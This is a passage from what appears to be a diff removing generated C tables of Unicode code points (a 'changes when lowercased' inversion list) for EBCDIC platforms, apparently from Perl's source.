0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBD, - 0x1FC8, - 0x1FCD, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWL_invlist[] = { /* for EBCDIC 037 */ - 1195, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBD, - 0x1FC8, - 0x1FCD, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 